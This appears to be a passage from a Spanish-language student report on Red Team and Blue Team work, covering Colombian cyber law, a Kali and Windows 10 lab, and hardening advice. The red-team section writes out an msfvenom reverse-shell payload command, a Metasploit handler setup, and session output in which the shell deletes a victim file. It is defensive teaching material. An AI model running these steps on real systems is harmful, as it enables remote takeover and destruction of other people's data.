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GLOSARIO

AMENAZA: es una situacion o accidn que puede poner en riesgo la seguridad de los

sistemas informaticos, la informacion y los datos almacenados en ellos.

BLUE TEAM: es un equipo de profesionales en ciberseguridad que es responsable de la
defensa y proteccion de los sistemas y redes internas contra posibles ataques

cibernéticos.

CIBERSEGURIDAD: es el conjunto de medidas y mecanismos que se utilizan para
proteger los sistemas informaticos, redes, dispositivos y datos de posibles ataques,

danos, robo o acceso no autorizado.

EXPLOIT: es un programa informatico que permite la explotacion de una vulnerabilidad

en un equipo o sistema.

FOOTPRINTING: se refiere al proceso de recopilar informacién y datos sobre un objetivo
especifico, como una empresa, organizacion o sistema informatico, con el objetivo de

obtener una comprension detallada de su infraestructura, sistemas y vulnerabilidades.

HARDENING: se refiere a un conjunto de técnicas y medidas que se aplican para
fortalecer y proteger los sistemas informaticos contra posibles amenazas y ataques

maliciosos.

METASPLOIT: es una herramienta de ciberseguridad que tiene diferentes

funcionalidades, y cuenta con gran cantidad de exploit, es muy usada para pentesting.

METERPRETER: Una Meterpreter es un tipo de herramienta utilizada en ciberseguridad
que permite a un atacante acceder y controlar de forma remota un sistema informatico

comprometido.



MSFVENOM: es una herramienta informatica utilizada para generar payloads.

MULTI HANDLER: es una utilidad de metasploit, que permite al usuario configurar y

controlar diferentes tipos de sesiones de explotacion remota en un solo lugar.

PAYLOAD: Es un programa informatico comunmente conocido como carga util, que se
encarga de proveer comunicacion a nivel de red entre un equipo atacante y un equipo

victima.

PURPLE TEAM: es un equipo de profesionales de ciberseguridad que combina la parte

de blue team y red team

RED TEAM: es un equipo de profesionales de seguridad informatica que se encarga de
simular ataques y vulnerabilidades en una red o sistema, con el fin de identificar posibles

fallos de seguridad y fortalecer las defensas de la organizacién.

VULNERABILIDAD: se refiere a una debilidad o defecto en los sistemas, redes,
dispositivos o aplicaciones que pueden ser explotadas por atacantes para acceder, danar,

robar o comprometer informacién confidencial.



RESUMEN

En cuanto a las capacidades técnicas, los equipos Red Team deben contar con
conocimientos avanzados en seguridad de redes, sistemas operativos, aplicaciones y
herramientas de hacking. Deben ser capaces de identificar y explotar vulnerabilidades en
la infraestructura de la organizacion y simular ataques realistas. Por otro lado, los equipos
Blue Team deben tener un sélido conocimiento de los sistemas de defensa, como
firewalls, deteccion de intrusiones y analisis forense, asi como habilidades en

administracion de redes y sistemas.

Ademas de las habilidades técnicas, es importante que los equipos Red Team y Blue
Team tengan una comprension profunda de la normativa legal y regulatoria en cuanto a
seguridad de la informacion. Esto incluye leyes de proteccion de datos, privacidad y
notificacion de violacién de datos, entre otras. Deben ser capaces de aplicar estas normas

a su trabajo y garantizar que la organizacién esté en cumplimiento.

En términos de capacidades de gestion, los equipos Red Team y Blue Team deben tener
habilidades de liderazgo y trabajo en equipo. Deben poder comunicarse eficazmente y
colaborar con otros departamentos de la organizacion, como el de seguridad de la
informacion y el de Tl. Ademas, deben ser capaces de planificar y ejecutar estrategias de

seguridad, asi como de realizar informes y analisis de riesgos.

Otra habilidad importante para estos equipos es la capacidad de adaptacion y

actualizaciéon constante.

Palabras clave: Blue team, Metasploit, Msfvenom, Payload, Red team,
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ABSTRACT

In terms of technical capabilities, Red Team teams must have advanced knowledge of
network security, operating systems, applications and hacking tools. They must be able
to identify and exploit vulnerabilities in the organization's infrastructure and simulate
realistic attacks. On the other hand, Blue Teams must have a solid knowledge of defense
systems, such as firewalls, intrusion detection and forensics, as well as network and

systems administration skills.

In addition to technical skills, it is important for Red Team and Blue Team teams to have
a deep understanding of legal and regulatory standards regarding information security.
This includes data protection, privacy and data breach notification laws, among others.
They must be able to apply these standards to their work and ensure that the organization

is in compliance.

In terms of management capabilities, Red Team and Blue Team must have leadership and
teamwork skills. They must be able to communicate effectively and collaborate with other
departments in the organization, such as information security and IT. Additionally, they

must be able to plan and execute security strategies, as well as perform risk analysis and

reporting.

Another important skill for these teams is the ability to adapt and constantly update.

Key words: Blue team, Metasploit, Msfvenom, Payload, Red team,
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INTRODUCCION

Los equipos Red Team y Blue Team se han vuelto esenciales en el ambito de la
ciberseguridad, especialmente en el contexto de un mundo cada vez mas digitalizado y
conectado. Estos equipos complementarios, pero con diferentes funciones, tienen como
objetivo principal proteger los sistemas y redes de una organizacion de posibles ataques
y vulnerabilidades. Sin embargo, para cumplir con eficacia su mision, es fundamental que

cuenten con ciertas capacidades técnicas, legales y de gestion.

En cuanto a las capacidades técnicas, los integrantes del equipo Red Team deben poseer
conocimientos avanzados en seguridad informatica, sistemas operativos, redes,
lenguajes de programacion y herramientas de hacking ético. Deben estar al dia con las
ultimas técnicas y metodologias utilizadas por los hackers para poder simular ataques
reales y descubrir posibles vulnerabilidades en los sistemas de la organizacién. Por otro
lado, el equipo Blue Team debe contar con habilidades en analisis de logs, monitoreo de
la red, implementacion de medidas de seguridad y capacidad para responder de manera

rapida y efectiva a los ataques.

En cuanto a las capacidades legales, los equipos Red Team y Blue Team deben tener un
profundo conocimiento de las leyes y regulaciones relacionadas con la ciberseguridad,
asi como de las politicas y normativas internas de la organizacion a la que prestan sus
servicios. Esto les permitira enmarcar sus actuaciones dentro de la legalidad y evitar

posibles problemas legales.

Por ultimo, es igualmente importante que estos equipos cuenten con capacidades de
gestion para poder trabajar de manera coordinada y efectiva. Esto incluye habilidades de
comunicacioén, trabajo en equipo, liderazgo y gestiéon de proyectos. Ademas, deben ser

capaces de adaptarse a los cambios y tomar decisiones rapidas en situaciones de crisis.
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las capacidades técnicas, legales y de gestién son fundamentales para que los equipos
Red Team y Blue Team puedan llevar a cabo su mision de proteger los sistemas de una
organizacion contra posibles amenazas y vulnerabilidades. Por lo tanto, es esencial
invertir en la formacion y el desarrollo de estas capacidades para garantizar una

ciberseguridad eficaz y eficiente.
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JUSTIFICACION

Los equipos Red Team y Blue Team son fundamentales en la ciberseguridad de una
organizacion, ya que trabajan en conjunto para simular ataques y defenderse de ellos.
Por lo tanto, es importante que cuenten con capacidades técnicas, legales y de gestion

sélidas para garantizar una proteccion efectiva contra posibles amenazas.

En la actualidad, las empresas e instituciones enfrentan constantemente amenazas
cibernéticas que pueden afectar su integridad y seguridad. Por ello, se hace cada vez
mas necesario contar con equipos especializados en ciberseguridad, especificamente
en la deteccidn y respuesta ante ataques, conocidos como equipos red team y blue team.
Estos equipos tienen roles diferenciados pero complementarios, ya que mientras red
team se encarga de simular ataques para evaluar la seguridad de la organizacion, el blue

team se enfoca en la deteccion y respuesta ante ataques reales.

Para que estos equipos puedan cumplir de manera efectiva sus funciones, es necesario

que cuenten con capacidades técnicas, legales y de gestién adecuadas.

En primer lugar, es fundamental que los equipos red team y blue team tengan un amplio
conocimiento técnico en ciberseguridad, incluyendo herramientas y técnicas de hacking
ético, inteligencia de amenazas, analisis forense, entre otros. Ademas, deben
mantenerse actualizados en un entorno en constante evolucion, ya que los
ciberdelincuentes estan en constante busqueda de nuevas vulnerabilidades para

explotar.

Otra capacidad clave para estos equipos es contar con conocimientos legales,
especialmente en temas de ciberseguridad y proteccion de datos. Esto es esencial para
garantizar que su trabajo se realice en cumplimiento con las leyes y regulaciones

aplicables, evitando posibles sanciones y riesgos legales para la organizacion.
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Ademas, los equipos red team y blue team deben tener habilidades de gestion y
comunicacion efectivas. Esto les permitira coordinarse y trabajar en conjunto de manera
eficiente, ya que deben ser capaces de responder rapidamente a los incidentes para
mitigar su impacto en la organizacion. También es importante que puedan informar de
manera clara y concisa a la direccion y otros miembros de la empresa sobre las

amenazas identificadas y las medidas tomadas para abordarlas.

Otro aspecto clave en la gestién de estos equipos es tener procesos y protocolos claros
y definidos. Esto garantizara una respuesta rapida y efectiva ante un ataque,
minimizando el tiempo de inactividad y el impacto en la organizacién. Ademas, la
documentacion adecuada permite el seguimiento y la mejora continua de los procesos y

procedimientos de seguridad de la compaifiia.
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OBJETIVOS

OBJETIVO GENERAL

Desarrollar de un laboratorio virtualizado de pruebas, a fin de recomendar acciones de
seguridad para la empresa caso de estudio "HackerHouse". Teniendo en cuenta la

legislacion colombiana y las normas éticas.

OBJETIVOS ESPECIFICOS

e Reconocer la legislacion colombiana que rige a los equipos red team y blue team,

para desarrollar labores que no vallan en contra de la ley y la ética.

e Realizar un laboratorio virtualizado de pruebas, para poder ejecutar pruebas red

team y blue team, ayudando a la organizacion a mejorar su seguridad.
e Recomendar acciones de seguridad para la empresa caso de estudio

“HackerHouse”, teniendo en cuenta los resultados obtenidos en las pruebas red

team y blue team.
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1. LEGISLACION COLOMBIANA QUE PARA LOS EQUIPOS RED TEAM Y BLUE
TEAM

No existe una legislacion especifica en Colombia que regule a equipos Red Team y
Blue Team. Sin embargo, estos equipos deben cumplir con la normativa vigente en
materia de proteccion de datos personales y ciberseguridad, que incluyen leyes y

decretos como:

1.1 LEY 1273 DE 2009

En Colombia es una modificacion al Cédigo Penal que introduce un nuevo bien juridico
tutelado, denominado “de la proteccién de la informacién y de los datos™. Esta ley
busca preservar integralmente los sistemas que utilizan las tecnologias de la
informacion y las comunicaciones. A continuacion, se presenta un resumen de los

articulos mas relevantes:

Articulo 269A: Acceso abusivo a un sistema informatico. Establece penas de prisidon
y multas para aquellos que accedan sin autorizacidon o se mantengan dentro de un
sistema informatico en contra de la voluntad de quien tenga el legitimo derecho a

excluirlo.

Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion. Penaliza a aquellos que impidan u obstaculicen el funcionamiento

o el acceso normal a un sistema informatico o a una red de telecomunicaciones.

1 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 [en linea]. (5, enero,2009) [consultado el 3,
marzo,2024], Ley de la proteccion de la informacion y de los datos. Disponible en internet:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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Articulo 269C: Interceptacion de datos informaticos. Establece penas para aquellos

que intercepten datos informaticos sin orden judicial previa.

Articulo 269D: Dafo Informatico. Penaliza a aquellos que destruyan, dainen, borren,
deterioren, alteren o supriman datos informaticos o un sistema de tratamiento de

informacion o sus partes o componentes l6gicos.

Articulo 269E: Uso de software malicioso. Penaliza a aquellos que produzcan,
trafiquen, adquieran, distribuyan, vendan, envien, introduzcan o extraigan del territorio

nacional software malicioso u otros programas de computacién de efectos dafiinos.

1.2 LEY 1581 DE 2012

La Ley 1581 de 2012 tiene como objetivo desarrollar el derecho constitucional que
tienen todas las personas a conocer, actualizar y rectificar las informaciones que se
hayan recogido sobre ellas en bases de datos o archivos.’Esta ley aplica a los datos
personales registrados en cualquier base de datos que los haga susceptibles de

tratamiento por entidades de naturaleza publica o privada.

En cuanto a las multas, la Superintendencia de Industria y Comercio puede imponer
multas de caracter personal e institucional hasta por el equivalente de dos mil (2.000)
salarios minimos mensuales legales vigentes al momento de la imposicién de la

sancion.

2 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1581 [en linea], (17, octubre, 2012) [consultado 5,
marzo, 2024]. Ley de la proteccion de datos personales. Disponible en Internet:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1581 2012.html
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La entidad encargada de velar por el cumplimiento de las normas sobre proteccion de
datos personales en Colombia es la Superintendencia de Industria y Comercio (SIC),

a través de la Delegatura para la Proteccion de Datos Personales.

1.3 EL CONVENIO BUDAPEST

El Convenio de Budapest® es un tratado internacional sobre ciberdelincuencia,
adoptado en el ano 2001 en la ciudad de Budapest, Hungria. Este convenio tiene
como objetivo prevenir y combatir los delitos informaticos, proteger los derechos
fundamentales relacionados con el uso de internet, y fomentar la cooperacion
internacional para investigar y enjuiciar a los responsables de estos delitos.

Colombia es parte del Convenio de Budapest desde el afio 2003, lo que significa que
se ha comprometido a implementar las medidas necesarias para prevenir y combatir
los delitos informaticos en su territorio. Esto incluye la adopcién de leyes y politicas
adecuadas, y la cooperaciéon con otros paises para investigar y enjuiciar a los

responsables de delitos cibernéticos.

8 BUDAPEST. SERIE TRATADOS EUROPEOS. Convenio. [en linea] (23, noviembre, 2001) [consultado 7,
marzo, 2024]. Convenio sobre la ciberdelincuencia. Disponible en Internet:
https://www.oas.org/juridico/english/cyb _pry convenio.pdf
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2. LABORATORIO VIRTUALIZADO PARA PRUEBAS RED TEAM Y BLUE TEAM

2.1 IMPLEMENTACION

En primer lugar, se realiza la descarga del software de virtualizacién de Oracle VirtualBox,
se ingresa a la pagina principal (https://www.virtualbox.org/) y se da clic en la opcion de
descarga para sistema operativo Windows. Una vez realizada la descarga se puede
observar el archivo de instalacion en la carpeta de descargas de Windows. Se procede a

realizar la instalacion del software VirtualBox tal como se muestra en la figura 1:

20



Figura 1. Instalacion de Virtual Box

Welcome to the Oracle VM
VirtualBox 7.0.14 Setup

Warning:
Network Interf

Oracle VM VirtualBox 7.0.14
lation is complete.

Fuente: El autor.
Una vez finalizada la instalacion del software podemos ver la ventana principal de virtual
box como se muestra en la figura 2, donde se procedera a instalar las maquinas virtuales

para el ambiente de pruebas:
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Figura 2. Ventana Principal de Virtual Box

Fuente: El autor.

Luego de esto se procede a descargar Windows 10 y Kali Linux: A continuacion, se

realiza la descarga de Windows 10 y Kali Linux tal como se muestra en la figura 3.

Figura 3. Descarga de W10 y Kali Linux.

Fuente: El autor.

Una vez descargados los archivos, estos se pueden visualizar en la carpeta de
descargas, para el sistema operativo Windows se descargé un archivo del tipo iso,
mientras que para el sistema operativo Kali Linux, se descargé una imagen virtualizada
para virtual box de tipo ova, el cual se instala desde la opcidn de archivo, importar servicio

virtualizado, el proceso se muestra en la figura 4.
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Figura 4. Instalacion de W10 y Kali Linux en Virtual Box.

7 Oracle VM VirtualBox Administrador 9 G i dakd =

- Nombre y sistema operativo de la maquina virtual
Maquina Ayuda

Control+
trol+E

Control+Q R

§ Crear miquina vitual 7 x  Crear miguina virtual S

Configuracion de instz

Pusde con

 Crear miquina vitual 7 X  Creor méquins vitus!

Disco duro virtual

W Hardware

Ayuds

L L - 0 X

1| f—

Fuente: El autor.

Ahora se procede a configurar las opciones de seguridad de la maquina de w10, con las
opciones de seguridad, en modo desactivadas, donde se observa el firewall, antivirus,

etc.
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Figura 5. Configuraciones de seguridad en W10

Q 6o aii: |

Fuente: El autor.

Luego se procede a realizar la configuracién de la red de las 2 maquinas de tal manera
que se comunique, entre si, para esto se establen los adaptadores como conexion de las
maquinas w10 y Kali Linux en modo puente o bridge, permitiendo que el router principal
les asigne una ip dentro de la misma subred, tal como se observa en la figura 6, donde
las maquinas pueden comunicarse, para esto se realiza ping desde las consolas de cada
maquina hacia la ip de cada maquina, es decir, desde la maquina W10 se hace ping a la
ip de la maquina Kali y desde las maquina kali, se hace ping hacia la ip de la maquina

W10, tal como se muestra en la figura 6.
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Figura 6. Comunicacion de W10 y Kali Linux

@ W10- Configuracién

Red

Adaptadar |

d a: Adaptacar puents:

Hobre:  Reakek Gaming GEE Fardy

Fuente: El autor.
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2.2 PRUEBAS RED TEAM

Para el desarrollo de la implementacion de pruebas de red team, se parte de un caso
problémico de la empresa Hacker House, en donde se realiz6 una explotacion de una
vulnerabilidad debido a que un usuario ejecuto un archivo .exe que permitié a un atacante
tomar el control de dicha maquina. Los expertos de Hacker House expresan que la
vulnerabilidad pudo ser explotada con la herramienta de kali Linux llamada metasploit y
que el archivo .exe pudo haberse creado con la herramienta MsfVenom, por lo tanto, el

equipo red team se dispone a recrear el incidente en el ambiente de pruebas:

Teniendo como referencia el ambiente de pruebas de una maquina Linux Yuna Windows
en el mismo segmento de red, tenemos la configuracion ip de la maquina Windows como
se muestra en la figura 7. Y se lista en la tabla 1

Figura 7. Verificacion de IP de W10 y Kali Linux.

i
SN mam P o]

File Actions Edit View Help

root@kali: /home/ks

/home/kali
192.168.1.40 2800:e2:b080:796:d5f9:da9b:al17f:ff74

/home/kali

Fuente: El autor.

En la tabla 1 recolectamos las ips de cada maquina, estas ips nos serviran mas adelante

para las pruebas de intrusion.
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Tabla 1 Equipos e IPs

W10 WINDOWS 192.168.1.41

KL2023 KALI LINUZ 192.168.1.40

Fuente: El autor.

Como se puede observar que estan en el mismo segmento de red. Se identifica el
sistema operativo de la maquina victima, el cual es una maquina con sistema operativo

Windows y arquitectura x64, como se muestra en la figura 8.

Figura 8. Arquitectura de W10.

Acerca de
El equipo esta supervisado y
protegido.

Ver detalles en Seguridad de Windows

Especificaciones del dispositivo

Nombre del dispositivo DESKTOP-LRESQUG

Procesador Intel(R) Core(TM) i5-9400 CPU @ 2.90GHz
2.90 GHz

RAM instalada 4,00 GB

Id. del dispositivo 61745102-8219-47F8-
AABD-30DFDBB22FDD

Id. del producto 00330-80000-00000-AA342

Tipo de sistema Sistema operativo de 64 bits, procesador
x64

Lapiz y entrada tactil La entrada tactil o manuscrita no esta
disponible para esta pantalla

Fuente: El autor.

Se evidencia que los dispositivos de seguridad en Windows 10, se encuentran
desactivados, proteccion en tiempo real, antivirus, firewall, lo cual es una falla de
seguridad que va a permitir poder vulnerar al equipo w10, la figura 9 muestra que no esta

gestionada la seguridad en la maquina Windows 10.
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Figura 9. Seguridad no gestionada en W10.

Revisar mensajes recientes y resolver problemas

Seguridad y mantenimiento no detecté ningin problema.

Seguridad

Firewall de red Actualmente sin supervision

Proteccién Actualmente sin supervisiéon

Activar mensajes sobre proteccién antivirus

Configuracién de seguridad de Internet Actualmente sin supervisién
Activar mensajes sobre Configuracion de seguridad de Internet
Control de cuentas de usuario Actualmente sin supervisién

Mantenimiento

Fuente: El autor.

Se crea el archivo de carga util por medio de la herramienta msfvenom tal como se
muestra en la figura 10, el comando usa varios parametros para poder generar el malware
que servira como exploit en la maquina victima. Entre estos parametros tenemos la

arquitectura del sistema operativo, el sistema operativo, el puerto de escucha y la ip.

Figura 10. Comando para crear el archivo exe.

= ~/Downloads
f windows/x64/meterpreter/reverse_tcp tf windows x64 LHOST=192.168.1.40 LPORT=443 -f exe PoC_9103788.exe
No encoder specified, outputting raw payload

Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: El autor.

Se puede ver que el directorio actual es /home/kali/Downloads, como el comando se
ejecutd de forma correcta, quedd el archivo de carga util en extension .exe, el cual se
ejecutara desde la maquina victima para poder proporcionar una Shell reversa a la

maquina atacante de Kali Linux. Esto se puede observar en la figura 11.
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Figura 11. Archivo de carga util.

~/Downloads

/home/kali/Downloads

-[~/Downloads

PoC_9103788.exe

Fuente: El autor.

El archivo exe segun el caso problémico Hacker House, es ejecutado desde la maquina
victima y descargado de la herramienta de chat WhatsApp web. Para temas practicos
hago uso de un ftp para enviar el archivo hasta la maquina victima y lo dejo en el
escritorio de la maquina victima para simular que fue descargado de WhatsApp web y
dejado en el escritorio. Ahora se simula que el empleado ejecuto el programa, pero antes

de esto se debe seguir los pasos previos antes de la explotacion de la vulnerabilidad.

En la maquina atacante hacemos uso de la herramienta de Kali Linux metasploit. Para

esto digitamos en consola el comando msfconsole como se muestra en la figura 12.

Figura 12. Herramienta metasploit.

File Actions Edit View Help

Metasploit t
authenticati,

Fuente: El autor.
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Ahora se utiliza la herramienta de metasploit, se hace uso del exploit multi’handler, se
establece el exploit configurando el payload con arquitectura x64, se estable el parametro
LHOST el cual viene a ser la ip de la maquina Linux, y el puerto de escucha LPORT se
establece a 443, ya que es un puerto que permanece abierto en la mayoria de maquina
Windows. Final mente procedemos a ejecutar el exploit y quedamos a esperas de que se
ejecute el archivo en la maquina victima, es decir, el archivo que se descargd en la

maquina victima, Estos pasos se pueden ver en la figura 13.

Figura 13. metasploit multi handler.

Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit( > > 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.40
lhost = 192.168.1.40
msf6 exploit( I |

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.40
lhost = 192.168.1.40
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.40
lhost = 192.168.1.40
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.40:443

Fuente: El autor.
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Ahora se debe simular que el usuario ejecuta el programa exe en la maquina Windows
10, al realizar esto, se puede observar de forma inmediata, que el atacante gano acceso

a este equipo por medio de la Shell reversa, tal como se muestra en la figura 12.

Figura 14. Shell reversa en maquina Kali Linux.

//docs.metasploit.com/

neterpreter/reverse_tcp

1443 — 192.168.1.41:51787) at 2024-03-10 11:39:32 -0400

Fuente: El autor.

Ya tenemos acceso al equipo Windows. En el equipo Windows se puede observar que
inicialmente, antes de descargar el archivo desde WhatsApp web, en el escritorio se

encontraba un archivo de texto, tal como se muestra en la figura 15.

Figura 15. Archivo de Informacion W10.

i W10 [Corriendo] - Oracle VM VirtualBox

=

Papelera'de
reciclaje

»

Microsoft
Edge

Fuente: El autor.

Al descargar el archivo .exe, ya se pueden ver los dos archivos.
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Figura 16. Archivos en el Escritorio previo al ataque.

reciclaje

ﬁ‘

2]
Microsoft
Edge

RaultVasqu:

Fuente: El autor.

Al ejecutar el archivo exe, se dio acceso a la maquina atacante, desde la cual ya
podemos ver los archivos que estan en el directorio actual, que precisamente es el
escritorio de Windows. lo podemos visualizar mediante el comando “Is” de la Shell

reversa.

Figura 17. Comando Is en shell reversa

lport = 443
msf6 exploit( ) > exploit

Started TCP handler on 192.168.1.40:443
1

798 bytes) to 192
ion 1 opened (192.1i 443 — 192.168.1.41:51787) at 2024-03-10 11:39:32 -0400

\rrva\Desktop

Size Type Last modified Name

fil -04 PoC_9103788.exe
fil 2 = Raul_Vasquez_9103788_27032024.txt
fil 2 —| desktop.ini

meterpreter >

Fuente: El autor.
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Para borrar el archivo txt de la maquina victima usamos el comando “rm” de la Shell
reversa, tal como se muestra en la figura, al listar directorios (Is) ya no se encuentra el

archivo .txt:

Figura 18. Comando para borrar archivo.

Mode Size Type Last modified Name

100777 /1 x 7168 fil 2 3 2:39:12 -0400 PoC_9103788.exe
100666/ 1 - 0 fil 2 = ©17:31 -0500 Raul_Vasquez_9103788_27032024.
100666/ - 282 fil 2 3 :16:59 -0500 desktop.ini

meterpreter > rm Raul_Vasquez_9103788_27032024.txt
meterpreter > 1
Listing: C:\U

Last modified Name

x 7168 fil 2024-03-10 12:39:12 -0400 PoC_9103788.exe
- 282 fil 2024-03-08 17:16:59 -0500 desktop.ini

meterpreter > ||

Fuente: El autor.

En el caso de requerir una Shell similar al ambiente Windows podemos hacer uso del
comando de la Shell reversa “Shell”, de este modo podemos ejecutar comandos nativos

de Windows tal como whoami, el cual muestra el nombre del equipo y el usuario actual:

Figura 19. Comando Shell y whoami

meterpreter > shell
Process 2948 created.

Channel 1 created.
Microsoft Windows [Versien 10.0.19045.3803]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\windows>whoami
whoamil
desktop-lreSqug\rrva

Fuente: El autor.
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Otro comando que podemos utilizar es el comando dir, que es similar a Is en linux,

podemos observar que ya no esta el archivo .txt

Figura 20. Comando dir

C:\Users\rrva\Desktop>dir

dir
El volumen de la unidad C no tiene etiqueta.
EL nemero de serie del volumen es: 5A86-C814

Directorio de C:\Users\rrva\Desktop

10/03/2024 10:43 a.em. <DIR>

10/03/2024 10:43 a.em. <DIR> 5

10/03/2024 10:39 a.em. 7.168 PoC_9103788.exe
1 archivos 7.168 bytes
2 dirs 23.353.790.464 bytes libres

Fuente: El autor.

Para salir de este modo podemos usar el comando “exit” y volvemos a la Shell reversa y
si continuamos con este comando seguimos saliendo hasta metasploit y finalmente

llegamos a la linea de comandos de linux, dando por finalizado la explotacion.
Figura 21. Salir de la shell.
Mode Type Last modified Name

100777/ rwxrwxrwx fil 2024-03-10 12:39:12 -0400 PoC_9103788.¢
100666/ rw-rw-rw- fil 2024-03-08 17:16:59 -0500 desktop.ini

meterpreter > exit
Shutting down session: 1

192.168.1.41 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit( ) > 1

Fuente: El autor.

Finalmente, para salir de metasploit se utiliza la palabra exit
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Figura 22. Salir de metasploit.

192.168.1.41 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit( ) > exit

~/Downloads

Fuente: El autor.
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2.3 PRUEBAS BLUE TEAM

Para la implementacion de las pruebas blue team, el caso de la empresa hacker House,
requiere que el equipo blue team realice el endurecimiento de las medidas de seguridad
(Hardening) en la maquina w10, contenga el ataque y recomiende medidas para que no

se vuelva a presentar el incidente informatico.

Lo primero que realizo el equipo blue team fue subir todas las defensas del equipo w10,

tal como se muestra en la figura 23.

Figura 23. Subir las defensas en w10

[ ————
Control de cuentas de usuario X
;Quieres permitir que esta aplicacion realice
cambios en tu dispositivo?

== Seguridad de Windows

Editor comprobado: Microsoft Windows

Mostrar mas detalles

@ b0 € »C 9 W *

Proteccion basada en la nube

Envio automatico de muestras

Fuente: El autor.

El antivirus activo la proteccion en tiempo real detectando de inmediato la amenaza el

malware que uso el atacante como payload (PoC_9103788.exe) para realizar el acceso
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remoto al equipo, en la figura se puede observar como el antivirus bloqueo este programa

y lo mando a la cuarentena, como se muestra en la figura

Figura 24. Deteccion del payload malware.

O Amenaza puesta en cuarentena
10/03/2024 10:05 a. m.

Grave

Detectado: Trojan:Win64/Meterpreteripz

Estado: En cuarentena

Los archivos en cuarentena estan en un drea restringida donde no
pueden dafiar el dispositivo. Se quitaran automaticamente.

Fecha: 10/03/2024 10:06 a. m.
Detalles: Este programa es peligroso y ejecuta comandos de un
atacante.

Elementos afectados:

file: C:\Users\rrva\Desktop\PoC_9103788.exe
Mas informacién

Acciones Vv

Fuente: El autor.

Luego de identificado el payload se procedié a eliminar por completo el Payload del

sistema, en acciones, quitar, en la ventana del antivirus.

Ademas, se activo el firewall de Windows, el cual nos permite bloquear cualquier conexion

hacia el equipo de acuerdo con las reglas establecidas.

Con esto se mitigo el ataque, al mantener el antivirus actualizado con la proteccion en
tiempo real, este nos protegera en caso de descargar cualquier archivo malware que

tenga en su base de datos.
Smart Screen es una herramienta de seguridad integrada en el sistema operativo

Windows que tiene como objetivo proteger al usuario de posibles amenazas en linea

como malware, phishing y descargas potencialmente riesgosas. Funciona analizando los
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archivos y aplicaciones que se descargan desde internet y proporciona una advertencia

o bloquea la descarga si se considera una posible amenaza.

Al evaluar el alcance del ataque, nos pudimos dar cuenta que el atacante eliminé un
archivo del escritorio, pero no casé mayores dafnos al sistema operativo, por lo tanto, solo

afecto a la informacién del escritorio.

Se ejecuto un escaneo completo del equipo para verificar que no haya mas archivos

malware alojados en los discos de almacenamiento del equipo:

Figura 25. Escaneo de amenazas.

O Proteccion contra virus y amenazas

Proteccién para el dispositivo contra amenazas.

|o ® Amenazas actuales

Examen répido en ejecucion...
Tiempo restante estimado: 00:00:03
10188 archivos examinados

Cancelar

Puedes seguir trabajando mientras examinamos el dispositivo.

Historial de proteccién

2 Configuracion de Proteccion contra virus y
amenazas

No se requiere ninguna accién.

Administrar la configuracién

&

Fuente: El autor.

Se activo las actualizaciones automaticas para mantener el equipo con las ultimas

versiones de software y asi estén mas protegidos.

Se recomienda mantener las copias de seguridad al dia para recuperar los archivos
eliminados, si se tenia esta politica es posible recuperar toda la informacion borrada por

el ataque o parte de ella.
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Aumentar la seguridad del sistema: una vez subsanado el problema, es importante tomar
medidas de seguridad adicionales para evitar futuros ataques. Esto puede incluir
implementar un sistema de deteccion de intrusiones, un firewall de ultima generacion,

entre otros.

Se dejo como recomendacion Capacitar al personal, ya que el eslabon mas débil en la
cadena de seguridad es el factor humano. Por lo tanto, es importante capacitar al
personal en temas de seguridad informatica y concienciar sobre la importancia de tomar

medidas de seguridad en todo momento.
Monitorear el sistema: finalmente, es necesario monitorear constantemente el sistema en

busca de posibles sefales de un nuevo ataque o explotacién de vulnerabilidades. Esto

nos permitira actuar de manera rapida y efectiva en caso de una nueva amenaza.
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3. RECOMENDACIONES

A continuacion, se presentan varias recomendaciones que complementan los temas
desarrollados para la parte técnica, legal y de gestion de los equipos red team y blue

team.

3.1 RECOMENDACIONES ETICAY LEGALES

Los equipos red team y blue team deben revisar de forma minuciosa los acuerdos que se
firmen con las empresas a las cuales les van a prestar sus servicios, ya que se puede
presentar, irregularidades, que podria ve comprometido a los equipos en practicas poco
legales, todos debe hacerse acorde a las leyes vigentes en el pais correspondiente y con

ética.

Segun el cédigo de ética de copnia?, los profesionales de ingenieria deben actuar con
dignidad, honradez y responsabilidad en el desempefio de sus funciones, y deben cumplir

con las leyes y regulaciones aplicables en su area de trabajo.

Es importante resaltar que tanto las empresas como los empleados deben cumplir con
sus obligaciones y responsabilidades establecidas en el acuerdo de confidencialidad para
garantizar la seguridad de la informacion y mantener la confianza de los clientes, pero al

mismo tiempo debe tener ética y legalidad.

4 COLOMBIA. CONCEJO PROFESSIONALNACIONAL DE INGENIERIA [sitio web], BOGOTA: COPNIA
[consultado 22 de febrero 2024], disponible en:
https://www.copnia.gov.co/sites/default/files/node/page/field insert file/codigo etica.pdf
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3.2 RECOMENDACIONES RED TEAM

